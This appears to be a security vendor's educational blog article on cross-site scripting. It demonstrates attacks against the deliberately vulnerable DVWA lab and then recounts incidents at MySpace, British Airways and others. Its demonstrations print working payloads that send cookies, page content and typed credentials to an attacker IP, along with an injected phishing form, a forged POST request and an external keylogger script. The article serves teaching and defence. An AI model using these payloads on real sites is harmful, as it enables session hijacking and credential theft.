5 Real-World Cross Site Scripting Examples

Cross-Site Scripting is Among the Most Common OWASP Vulnerabilities That Affects Both Small Businesses to Large Corporations

Cross site scripting (XSS) is among the most seen web application vulnerabilities, it poses a serious threat to more than 60% of websites all over the world. It’s a typical cyber-attack in that it’s done by delivering malicious content to users with the hope of stealing the user’s critical data, such as login credentials.

Likewise, cross site scripting is widespread due to the weaknesses that are often found within client-side scripting languages, such as JavaScript and HTML.

However, everyone should be aware of the risk of a cross-site scripting attack. This article will look at some real-world cross-site scripting examples that will help us understand how risky this vulnerability is.

Let’s look at some real-world cross site scripting examples by creating high-impact proof of concept (POC). Henceforth, you’ll get to know how cyber attackers exploit vulnerabilities that negatively impact businesses.

Here Are Some of the Real-World Cross Site Scripting Examples That Are Commonly Seen

Below are some commonly seen real-world cross site scripting examples that attackers often use, and they are:

User Session Hijacking
Unauthorized Activities
Phishing Attack
Stealing Critical Information
Capturing Keystrokes

Now, let’s look into more detail. Each of these real-world cross site scripting examples below include the use of an application named DVWA (Damn Vulnerable Web Application).

For instance, the DVWA page http://localhost:81/DVWA/vulnerabilities/xss_r/ is infected by a reflected XSS within the name parameter, which you can see in the above image with the JavaScript code <script>alert(123)</script>, which reflects and executes within the response page.

User Session Hijacking

Usually, web applications store user sessions for identifying the user from multiple HTTP requests. Likewise, sessions are identified through session cookies.

For instance, once a successful login occurs to an application, its server will send a session cookie to the user using the Set-Cookie header. Therefore, if the user accesses any page within the application or submits any form, it’ll also store the web browser’s cookie in the requests sent to the application’s server. And, because of that, the server will also be able to identify the user.

Henceforth, session cookies are critical information. It can become beneficial for an attacker to impersonate themselves as legit users and access a user’s existing web session if compromised. And this attack is known as session hijacking.

For instance, JavaScript code running within the web browser can access the session cookies if the HTTPOnly is not available by calling document.cookie. And, if any attacker injects the below payload into the name parameter, the vulnerable page will display the current value of the cookie by popping an alert box:

http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<script>alert(document.cookie)</script>

Furthermore, to steal the cookies, the attacker provides a payload that sends the cookie value to the malicious website of an attacker.

<script>new Image().src="https://192.165.159.122/fakepg.php?output="+document.cookie;</script>

With the help of the payload as mentioned above, a new Image object is created within the DOM of the current web page while setting the src attribute towards the attacker’s malicious website. Ultimately, the browser will make an HTTP request for that external website 192.165.159.122.

And in return the attacker’s website will send the cookie to the web server:

http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<script>new Image().src="https:// 192.165.159.122/fakepg.php?output="+document.cookie;</script>

Furthermore, whenever the browser gets request, JavaScript payload gets executed further and makes a new request to 192.165.159.122, along with the cookie value within the URL as shown in the image.

Likewise, if anyone listens to an incoming connection from the server controlled by an attacker, you’ll be able to see an incoming request with cookie values appended within the URL. And, it’ll detect the same information within the access.log file on the webserver.

Here’s How Stolen Cookies Are Used

Using the above cookie information, if anyone accesses an internal page of the application and append that cookie value within the request, an attacker can access that page without the victim’s knowledge in its session. And that is also without knowing login credentials, which is called hijacking the user’s session.

Screenshot of a Cookie Value

Screenshot of HTML Code

Screenshot of DVWA Form

Lastly, the HTTPOnly cookie attribute can help in preventing such a scenario by blocking access to the cookie value using JavaScript. All it requires is to initialize the cookie value (though the Set-Cookie header).

Unauthorized Activities

Once the HTTPOnly cookie attribute is set, you cannot steal the cookies using JavaScript. But, with the help of an XSS attack, you can still gain unauthorized access within the application on behalf of the user.

Let’s look at it with an example, where an attacker can post a new message in the Scrapbook on behalf of the victim user without their knowledge. Here it requires to forge an HTTP POST request towards the Guestbook page using an appropriate parameter with JavaScript.

Here below is the payload that creates an XMLHTTPRequest object and sets an important data and header:

<script>

var xhr = new XMLHttpRequest(); xhr.open('POST','http://localhost:81/DVWA/vulnerabilities/xss_s/',true);

xhr.setRequestHeader('Content-type','application/x-www-form-urlencoded');

xhr.send('txtName=xss&mtxMessage=xss&btnSign=Sign+Scrapbook');

</script>

And, this is how the request will look like within the browser.

Screenshot of How Requests Looks Within Browser

Screenshot of Intercepted Session

Once the script executes, it’ll generate a new request for adding a comment by pretending to be a legit user.

Screenshot of New Request for Adding a Comment

Screenshot of User's Information

Phishing Attack

The phishing attack is another standard XSS attack example. The attacker injects a form within the vulnerable page and uses that altered form to collect the user’s credential information.

For example, the below-mentioned payload injects a form with a message “Please login to proceed” with input fields that ask for your username and password. Likewise, users may enter their information, and once they do so, the attacker gets access to it, which they can use for their benefit.

Payload:

http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<h3>Please login to proceed</h3> <form action=http://192.165.159.122>Username:<br><input type="username" name="username"></br>Password:<br><input type="password" name="password"></br><br><input type="submit" value="Logon"></br>

Screenshot of Fake Login Created by Attacker

And, once the credentials are entered and the user clicks the button “Logon,” it’ll further send credentials to the malicious server controlled by an attacker. Below is a screenshot of the same request:

Screenshot of Harvesting Credentials

Likewise, using the pen-testing tool, you can also see entered credentials on the attacker’s malicious server.

Screenshot of Credential Entered by Users

Stealing Critical Information

As the name implies, stealing critical information is another XSS example where an attacker steals information from the user’s current session. For example, online banking applications may be vulnerable to a XSS attack, and the attacker reads the current balance, information related to transactions, personal data, etc.

Here’s an example where the attacker fetches the source code of an entire web page:

<script>new Image().src="https://192.165.159.122/ fakepg.php?output="+document.body.innerHTML</script>

Screenshot of Attacker Fetching the Source Code

Capturing Keystrokes

Here is another cross-site scripting example – where an attacker inserts a JavaScript key logger within the vulnerable page and tracks all the user’s keystrokes within the present web page.

For this, an attacker first creates a JavaScript file that is hosted on the malicious server of the attacker. Below is an example of this:

Screenshot of JavaScript File Hosted on the Malicious Server

Here, for every keystroke made by the user, a new XMLHttp request is generated, which is sent towards the keylog.php page hosted on the attacker’s malicious server. And the keylog.php file writes the value of keys pressed by the user into a file named data.txt.

Screenshot of New XMLHttp Request Getting Generated

Furthermore, a vulnerable page is called with the payload via the server.

http://localhost:81/DVWA/vulnerabilities/xss_r/?name=<script src="https://192.165.159.122/xss.js">

Henceforth, once the script loads on the web page, a new request gets fired with every keystroke made by the user.

Screenshot of New Request Getting Fired on Every Keystroke

Lastly, the value of the parameter key gets written in the data.txt file, as shown in the below image:

Screenshot of the Parameter Key Getting Written

Real-World Cross Site Scripting Examples – Some Notable XSS Attacks

Here below are some of the cross-site scripting attack examples that have occurred on popular companies:

MySpace

Referred as “Sammy worm,” perhaps one of the fastest spreading computer viruses of all time that changed web security forever. On October 4, 2005, 19-year-old hacker Sammy Kamkar wrote a few lines of code that turned out to be a cross-site scripting worm targeted toward then-popular social media platform MySpace, wherein less than 24 hours “Sammy” had 1M+ friends in the MySpace community.

By using Internet Explorer, Sammy broke JavaScript by two lines and kept his script code within a CSS (Cascading Style Sheet) tag that simply instructed the web browser to load a MySpace URL and automatically invited Sammy as a friend and added him as a “hero” to the visitor’s own profile page without the user’s knowledge.

Facebook

In 2011, three separate cross site scripting vulnerabilities were discovered on the Facebook site within a short span of ten days. And, among them, at least two of them were for launching viral links or attacks on Facebook users.

For instance, the first issue came through a page on the mobile version of Facebook, where the interface was prompting to post stories on a user’s wall. Furthermore, a second XSS issue was created using HTML within a viral page to distribute phishing attacks or malware distribution. However, several links were spreading virally, which caught the attention of security researchers, and Facebook immediately patched the issue.

Lastly, the third XSS issue was with a Facebook “channel” page for session management, where code got updated that changed the page’s behavior. Though, once it was noticed, Facebook immediately resolved the issue.

CIA (Central Intelligence Agency)

The CIA (Central Intelligence Agency) had come across an XSS vulnerability on their website by an Indian hacker, Lulzsec, lionanesh, who took down the CIA website. However, the hacker seemingly didn’t have any purpose behind it or did malicious damage. Instead, they may have wanted just to show how bad the vulnerability was on the site and how it had to be repaired immediately.

Fortnite

The popular online video game Fortnite by Epic Games almost became a victim of cross-site scripting attacks that could’ve led to a data breach in early 2019. The issue was due to an unsecured retired web page, giving attackers unlimited access to 200 million users. The purpose behind the attack was to steal the virtual currency of the game and record player’s conversations that may provide critical information for the future attack.

In 2018 – 2019 Fortnite was nominated for 35 games awards and also won 19 titles such as “Best Multiplayer/Competitive Game,” “Online Game of The Year,” and “eSports Game of the Year.” Furthermore, according to reports of Statista, Fortnite had registered 350 million users, making it one of the most lucrative targets for hackers.

Lastly, the security researchers of Check Point had caught and notified the game makers about this vulnerability in January 2019. And later it was even confirmed that there was no major cyberattack due to such vulnerabilities.

British Airways

The second-largest carrier airline of the UK (United Kingdom), British Airways, had faced a breach in early 2018. It had affected 380,000 booking transactions from August to September 2018. However, it was caught by the RiskIQ researchers, and it was reported to British Airway, which was patched later on.

It was suspected that Magecart, a popular hacker group known for using card skimming techniques to get access to confidential credit card details from unsecured payment pages of popular websites, was linked to this British Airways XSS attack.

Nonetheless, the JavaScript file was used after it was modified to track customer data and forward it to the attacker’s malicious server (“baways.com”) once the user submitted the form. To make the form appear genuine, attackers had even bought a secure SSL/TLS certificate for their fake server, so the page looked secure to users and left no traces of doubt for the users to get suspicious when making a payment/sharing credit card details.

Here a skimming process was carried out by exploiting a cross-site scripting vulnerability that used a malicious JavaScript library called Feedify.

eBay

eBay is among the popular online marketplaces for buying and selling products from or to consumers and businesses. However, it had faced multiple cross-site scripting attacks in the past, from December 2015 to January 2016 due to the critical vulnerabilities that could have easily harvested to impact eBay users. Likewise, users generally buy and sell different types of products on eBay. Therefore, attackers can access a user’s products, steal their payment details, sell user’s products cheaply, etc. through the platform.

This XSS vulnerability issue was through a “URL” parameter, redirecting users to the right page but it didn’t check parameter values before inserting them within the page, making it vulnerable. Likewise, an attacker could’ve used malicious code within the page that makes the user perform the attacker’s bidding. For instance, an attacker may add code with the objective of stealing the user’s login credentials.

Real-World Cross Site Scripting – Closing Thoughts

Based upon data processed and the functionality of the vulnerable application, XSS vulnerabilities can differ and pose various threats to an organization. For instance, once your organization gets attacked by an XSS attack, the attacker can steal critical data, perform unauthorized activities, and even hijack the user’s active web sessions.

Some of the best protection approaches you can take to prevent such XSS vulnerability attacks are simply taking the website security measures you’d expect, such as avoiding HTML tags in inputs, sanitizing data and securing your web application cookies. Lastly, also scanning your web applications using a website vulnerability scanner such as Sectigo’s HackerGuardian could save you a lot of long-term headache.